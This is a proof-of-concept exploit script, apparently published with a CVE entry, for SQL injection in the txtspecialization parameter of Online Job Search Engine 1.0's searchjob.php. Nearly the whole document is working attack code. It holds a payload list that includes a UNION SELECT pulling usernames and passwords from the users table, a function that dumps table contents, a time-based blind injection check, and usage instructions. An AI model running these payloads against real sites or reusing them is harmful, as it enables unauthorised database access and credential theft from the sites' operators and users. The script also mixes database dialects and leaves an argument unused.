CVE-2025-11584：Online Job Search Engine 1.0 SQL注入漏洞

# CVE-2025-11584 - SQL Injection PoC for Online Job Search Engine 1.0 # Vulnerable file: /searchjob.php # Vulnerable parameter: txtspecialization import requests import sys TARGET_URL = "http://target.com/searchjob.php" def test_sql_injection(target_url): """Test for SQL injection vulnerability in txtspecialization parameter""" # Basic SQL injection test payloads payloads = [ "' OR '1'='1", "' OR '1'='1' -- ", "' UNION SELECT 1,2,3,4,5-- ", "' UNION SELECT username,password,3,4,5 FROM users-- ", "1' AND (SELECT SLEEP(5))-- ", "' AND 1=CONVERT(int,(SELECT @@version))-- " ] for payload in payloads: params = {"txtspecialization": payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Check for SQL error messages sql_errors = ["SQL syntax", "MySQL", "mysql_fetch", "Warning", "error in your SQL"] for error in sql_errors: if error.lower() in response.text.lower(): print(f"[+] SQL Error detected: {error}") print(f"[+] VULNERABLE to SQL injection!") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_union_based(target_url, table_name="users", column_count=5): """Exploit using UNION-based SQL injection to extract data""" # Build UNION SELECT payload columns = ",".join([str(i) for i in range(1, column_count + 1)]) payload = f"' UNION SELECT {columns} FROM {table_name}-- -" params = {"txtspecialization": payload} response = requests.get(target_url, params=params, timeout=10) print(f"[+] Extracting data from {table_name}...") print(response.text) return response.text def exploit_time_based(target_url, query="SELECT @@version"): """Exploit using time-based blind SQL injection""" payload = f"1' AND IF(1=1,SLEEP(5),0)-- " import time start_time = time.time() params = {"txtspecialization": payload} response = requests.get(target_url, params=params, timeout=15) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] Time-based injection confirmed (delay: {elapsed:.2f}s)") return True return False if __name__ == "__main__": url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL print(f"[*] Testing SQL injection on: {url}") if test_sql_injection(url): print("[+] Target is vulnerable!") # Uncomment to extract data # exploit_union_based(url) # exploit_time_based(url) else: print("[-] Target may not be vulnerable or payload needs adjustment") # Usage: python poc.py http://target.com/searchjob.php # Manual test URL: # http://target.com/searchjob.php?txtspecialization=' OR '1'='1